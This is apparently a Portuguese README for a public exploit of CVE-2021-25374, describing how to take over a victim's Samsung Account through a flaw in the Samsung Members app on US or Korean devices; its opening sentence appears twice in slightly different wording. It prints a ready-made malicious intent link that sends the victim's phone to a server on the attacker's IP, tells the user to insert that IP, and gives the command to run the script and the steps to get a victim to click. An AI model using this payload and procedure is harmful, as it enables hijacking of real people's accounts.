reverseclabs/cve-2021-25374_samsung-account-accessEste script pode ser usado para obter acesso à Conta Samsung de uma vítima se ela tiver uma versão específica do Samsung Members instalada em seu dispositivo Samsung e se o dispositivo da vítima for da região dos EUA ou da Coreia.
Este script pode ser utilizado para obter acesso à conta Samsung de uma vítima se ela tiver uma versão específica do Samsung Members instalada no seu dispositivo Samsung, e se o dispositivo da vítima for dos EUA ou da região da Coreia.
<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>
NOTA: substitua "<IP do atacante>" pelo endereço IP a partir do qual você executará este script.
python3 ./samsung_account_access.py
Usando um telefone Samsung, navegue até o servidor web e clique no link
Deixe o script fazer o seu trabalho
Mais informações sobre o problema que este script explora podem ser encontradas aqui:
